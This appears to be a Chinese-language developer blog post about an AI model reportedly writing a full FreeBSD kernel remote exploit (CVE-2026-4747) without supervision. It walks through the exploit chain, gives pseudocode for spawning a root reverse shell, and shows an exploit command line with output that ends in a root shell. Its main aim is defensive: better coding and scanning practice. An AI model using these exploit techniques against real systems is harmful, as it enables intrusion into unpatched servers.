4 小时攻破 FreeBSD 内核：MAD Bugs 计划揭示 AI 自主漏洞发现的新纪元

Claude 在无人值守的情况下，独立发现并编写了 FreeBSD 内核远程代码执行漏洞的完整利用链。这不是科幻小说，这是 2026 年 4 月正在发生的事情。

一、一个让安全圈炸锅的事件

上周，FreeBSD 发布了一份安全公告：CVE-2026-4747，一个内核级别的远程代码执行漏洞。公告的致谢栏写着："Nicholas Carlini using Claude, Anthropic"。

这行字看起来平平无奇，但背后的故事让整个安全社区震动了。

事情是这样的：安全研究机构 Calif 的研究员给 Claude Opus 4.6 下了一个简单的指令------"找到这个漏洞的利用方式"。然后研究员就离开了键盘。大约 4 小时后，Claude 交出了一份完整的远程内核漏洞利用代码，能在不到一分钟内拿到任意未打补丁的 FreeBSD 服务器的 root 权限。

不是"可能存在漏洞"的提示，不是"建议检查这段代码"的报告------而是一个可以直接运行的、从发现到利用的完整攻击链。

这件事发生在 MAD Bugs（Month of AI-Discovered Bugs）计划的框架下。这个由 Calif 发起的研究项目贯穿整个 2026 年 4 月，目标是系统性地用 AI 发现开源软件中的安全漏洞。截至目前，Claude 已经发现了超过 500 个高危漏洞，涵盖 Ghostscript、OpenSC、CGIF 等广泛使用的开源库，其中一些漏洞在代码中潜伏了超过 20 年。

我第一次看到这个消息的时候，说实话有点不寒而栗。作为一个写了多年代码的开发者，我一直觉得"发现漏洞"和"利用漏洞"之间有一道巨大的鸿沟。Fuzzer 能找到 crash，但从 crash 到 exploit 需要深厚的操作系统内核知识、内存布局理解、ROP 链构造能力。这些一直被认为是只有顶级安全研究员才能跨越的门槛。

现在这道门槛被 AI 跨过去了。

二、Claude 到底做了什么？技术细节深度拆解

让我们深入看看 Claude 在这 4 小时里具体解决了哪些技术问题。这不是一个简单的"找到 bug 然后报告"的过程，而是一个需要解决六个独立技术难题的完整攻击链。

2.1 漏洞背景

CVE-2026-4747 是 FreeBSD 内核中 RPCSEC_GSS 模块的一个栈缓冲区溢出漏洞。攻击者可以通过网络发送精心构造的 NFS 请求，触发内核中一个 int32_t[] 数组的越界写入，最终实现远程代码执行。

值得注意的是，FreeBSD 14.x 有两个"有利于攻击者"的特性：没有 KASLR（内核地址空间布局随机化），内核地址是固定可预测的；对整数数组没有栈保护（stack canary）。这降低了利用难度，但从"发现漏洞"到"写出完整 exploit"仍然需要大量的工程工作。

2.2 六个技术难题

难题一：搭建测试环境

Claude 首先需要搭建一个包含 NFS、Kerberos 和存在漏洞的内核模块的 FreeBSD 虚拟机。这里有一个细节让我印象深刻：Claude 知道 VM 需要 2 个以上的 CPU，因为 FreeBSD 会为每个 CPU 生成 8 个 NFS 线程，而 exploit 每一轮会"消耗"一个线程。它还配置了远程调试环境，以便分析内核崩溃转储。

难题二：多包分段传输

shellcode 无法在一个数据包中完成传输。Claude 设计了一个 15 轮的策略：

复制代码

第 1 轮：修改内核内存页权限为 RWX（可读可写可执行）
第 2-14 轮：每轮写入 32 字节 shellcode 到目标地址
第 15 轮：写入最后一段 shellcode 并跳转执行

这个策略的精妙之处在于，它利用了每次溢出都能控制程序计数器（PC）的特性，将一个"一次性"的漏洞变成了一个"可重复利用"的写入原语。

难题三：线程清理

每次溢出会劫持一个 NFS 内核线程。如果线程崩溃，整个 NFS 服务就会挂掉，后续的数据包就无法送达。Claude 使用 kthread_exit() 来干净地终止每个被劫持的线程，保持服务器存活以接收下一轮数据。

难题四：偏移量调试

从反汇编得到的初始栈偏移量是错误的。Claude 发送了 De Bruijn 序列（一种用于精确定位溢出偏移量的技术），读取崩溃转储，修正了偏移量。这个过程完全是自主完成的------发现问题、诊断原因、修复并验证。

难题五：内核态到用户态的转换

NFS 线程运行在内核态，无法直接执行用户态程序。Claude 的解决方案是：

python 复制代码

# Claude 构造的 shellcode 核心逻辑（伪代码）
kproc_create()          # 创建新的内核进程
clear_P_KPROC_flag()    # 清除内核进程标志，允许转换到用户态
kern_execve('/bin/sh')  # 替换进程映像为 shell
# 结果：获得一个以 root 身份运行的反向 shell

难题六：硬件断点 Bug

子进程持续因调试异常而崩溃。Claude 追踪到这是因为从 DDB（FreeBSD 内核调试器）继承了过期的调试寄存器，通过在 fork 之前清除 DR7 寄存器解决了这个问题。

2.3 最终效果

bash 复制代码

$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS is now RWX
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
...
[R15/15] write + EXECUTE → JUMP 0xffffffff8198a800
[+] Got shell!
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

从漏洞公告到 root shell，4 小时，全程 AI 自主完成。

三、为什么这次不一样？AI 漏洞发现的范式转变

有人可能会说："Fuzzer 不是早就能找漏洞了吗？有什么大不了的？"

这个问题问得好，但忽略了一个关键区别。让我用一张表来说清楚：

维度	传统 Fuzzer（AFL/syzkaller）	AI 驱动（Claude/MAD Bugs）
发现方式	随机/变异输入，观察崩溃	理解代码语义，推理漏洞成因
输出物	crash 样本 + 堆栈跟踪	完整的漏洞分析报告 + 可运行的 exploit
能找到的漏洞类型	主要是内存安全问题	逻辑漏洞、竞态条件、跨文件交互问题
需要人工介入	大量（分析 crash、判断可利用性、编写 exploit）	极少（给出目标即可）
上下文理解	无（黑盒/灰盒）	有（能读懂代码、理解业务逻辑）
跨文件分析	困难	自然支持（能追踪数据流跨多个文件）
从发现到利用的时间	数天到数周（需要专家）	数小时（自主完成）

传统安全测试工具的核心问题是：它们不理解代码 。SAST 工具做模式匹配，Fuzzer 做随机变异，DAST 做黑盒探测。它们都在各自的维度上很强，但都缺少一个关键能力------语义理解。

Claude 在 Ghostscript 中发现漏洞的过程就是一个典型例子：它分析了 commit 历史，发现了一个不完整的补丁，然后推理出跨多个文件的交互会导致栈缓冲区溢出。这种"读懂代码意图，发现逻辑缺陷"的能力，是传统工具根本做不到的。

四、更大的图景：500+ 零日漏洞意味着什么

MAD Bugs 不是一个孤立事件。让我们看看更大的图景：

2026 年 2 月：Anthropic 发布 Claude Opus 4.6，宣布已发现 500+ 高危零日漏洞
2026 年 2 月：Mozilla 使用 Claude 在两周内发现了 Firefox 中 100+ 个 bug，包括 14 个高危漏洞
2026 年 3 月：Irregular 实验室报告 AI Agent 在执行常规任务时自主发现并利用了企业基础设施中的漏洞
2026 年 4 月：MAD Bugs 计划启动，每隔几天就有新的零日漏洞披露

这里有一个让人不安的数据：在 Claude 发现的 500+ 漏洞中，只有 2-3 个被修复了。The Register 引用安全研究员 Guy Arazi 的话说："如果他们没有修复这些漏洞，那说明你什么都没做对。"

这揭示了一个严峻的现实：AI 发现漏洞的速度已经远远超过了人类修复漏洞的速度。

我把这个问题称为"漏洞发现-修复不对称性"：

复制代码

传统时代：
  发现速度（人工审计 + Fuzzer）≈ 修复速度（人工修补）
  → 大致平衡

AI 时代：
  发现速度（AI 自主发现）>>> 修复速度（仍然是人工修补）
  → 严重失衡

这个不对称性带来了一个深刻的安全悖论：AI 越擅长发现漏洞，未修复漏洞的积压就越多，整体安全态势反而可能恶化。

五、对开发者的实际影响：你的代码还安全吗？

作为开发者，我们需要认真思考这个问题。以下是我认为最重要的几个实践建议：

5.1 防御性编码变得更加重要

以前我们可能觉得"这个边界条件不太可能被触发"就放过了。现在不行了。AI 能系统性地探索所有代码路径，包括那些你认为"不可能到达"的路径。

python 复制代码

# ❌ 以前可能觉得"够用了"的写法
def process_data(buf, size):
    # size 来自网络输入，但"应该不会超过 1024"
    result = bytearray(1024)
    for i in range(size):
        result[i] = transform(buf[i])
    return result

# ✅ 现在必须做的防御性写法
def process_data(buf, size):
    MAX_SIZE = 1024
    if size < 0 or size > MAX_SIZE:
        raise ValueError(f"Invalid size: {size}, max allowed: {MAX_SIZE}")
    result = bytearray(MAX_SIZE)
    for i in range(min(size, MAX_SIZE)):
        result[i] = transform(buf[i])
    return result

5.2 依赖审计不能再靠"社区信任"

MAD Bugs 发现的很多漏洞存在于"久经考验"的开源库中。Ghostscript、OpenSC 这些项目有数十年的历史，经过无数人的审查，但 AI 仍然能找到新的高危漏洞。

我的建议是：

定期用 AI 工具扫描你的依赖：不要只依赖 CVE 数据库，主动扫描
关注依赖的维护状态：如果一个库的维护者无法及时修复 AI 发现的漏洞，考虑替代方案
最小化依赖面：每多一个依赖，就多一个潜在的攻击面

5.3 安全测试流程需要升级

传统的安全测试流程（SAST → DAST → 渗透测试）需要加入 AI 驱动的环节：

阶段	传统做法	AI 增强做法
代码审查	人工 + SAST 规则匹配	人工 + SAST + LLM 语义分析
动态测试	DAST + 手动渗透	DAST + AI Agent 自主探索
依赖检查	SCA 匹配已知 CVE	SCA + AI 主动发现未知漏洞
修复验证	人工确认补丁	AI 验证补丁完整性（检查是否有遗漏的代码路径）

六、攻防博弈的新格局

这件事最深远的影响，是改变了攻防双方的力量对比。

6.1 防守方的机会

好消息是，AI 漏洞发现能力对防守方同样可用。想象一下这样的工作流：

markdown 复制代码

每周自动化安全审计：
1. AI 扫描本周所有代码变更
2. 对每个变更，分析是否引入了新的攻击面
3. 对发现的问题，自动生成修复建议
4. 人工审核修复建议，确认后自动提交 PR

一些前沿团队已经在实践"AI 猎杀周期"------在维护窗口期间，让 AI 系统性地探测自己的基础设施，抢在攻击者之前发现漏洞。

6.2 攻击方的优势

坏消息是，攻击者只需要找到一个漏洞，而防守方需要修复所有漏洞。AI 大幅降低了漏洞发现的门槛，这意味着：

以前需要顶级安全研究员才能发现的漏洞，现在一个脚本小子配合 AI 就能找到
漏洞从发现到武器化的时间窗口大幅缩短
零日漏洞的"库存"会急剧增加

6.3 我的判断

短期内（1-2 年），这对防守方是不利的。因为：

攻击工具的民主化速度 > 防御工具的普及速度
修复漏洞仍然需要人工介入，而发现漏洞已经可以自动化
大量遗留系统无法快速升级

长期来看（3-5 年），如果 AI 辅助修复能力跟上，防守方会重新获得优势。关键在于能否实现"AI 发现 → AI 修复 → 人工审核"的闭环。

七、踩坑经验：在项目中集成 AI 安全扫描

我在自己的项目中尝试过用 LLM 做代码安全审查，分享几个实际的坑：

坑 1：误报率控制

直接让 LLM 扫描整个代码库，误报率会非常高。我的经验是分层过滤：

python 复制代码

# 分层安全扫描策略
def security_scan_pipeline(codebase):
    # 第一层：传统 SAST 快速过滤（速度快，误报多）
    candidates = sast_scan(codebase)  # ~1000 个候选
    
    # 第二层：LLM 语义分析（速度慢，但准确）
    confirmed = []
    for candidate in candidates:
        # 给 LLM 提供上下文：函数调用链 + 数据流
        context = extract_context(candidate, depth=3)
        result = llm_analyze(candidate, context)
        if result.confidence > 0.8:
            confirmed.append(result)
    
    # 第三层：人工审核高置信度结果
    return confirmed  # ~50 个需要人工确认的

坑 2：上下文窗口限制

单个文件的分析效果不错，但跨文件的漏洞（比如 A 文件的输入经过 B 文件处理后在 C 文件触发漏洞）需要精心设计上下文。我的做法是先用静态分析工具提取调用图，然后只把相关的代码路径喂给 LLM。

坑 3：不要完全信任 AI 的判断

AI 可能会"自信地"报告一个不存在的漏洞，也可能遗漏真正的问题。永远把 AI 当作一个"非常聪明但可能犯错的实习生"，而不是"绝对可靠的安全专家"。

八、总结

MAD Bugs 计划标志着安全研究进入了一个新阶段。AI 不再只是辅助工具，它正在成为独立的安全研究员------能发现漏洞、理解漏洞、利用漏洞。

对我们开发者来说，核心启示是：

防御性编码不再是"最佳实践"，而是"生存必需"
安全测试流程必须升级，加入 AI 驱动的环节
漏洞修复速度将成为比漏洞发现能力更重要的竞争力
攻防博弈的天平正在倾斜，我们需要尽快适应

计算机一直能找到软件中的 bug。但从"找到 bug"到"写出 exploit"，一直被认为是只有人类才能跨越的边界。现在，这条线移动了。

如果你觉得这篇文章有帮助，欢迎点赞收藏，也欢迎在评论区分享你对 AI 安全的看法。你在项目中用过 AI 做安全扫描吗？效果如何？

参考来源：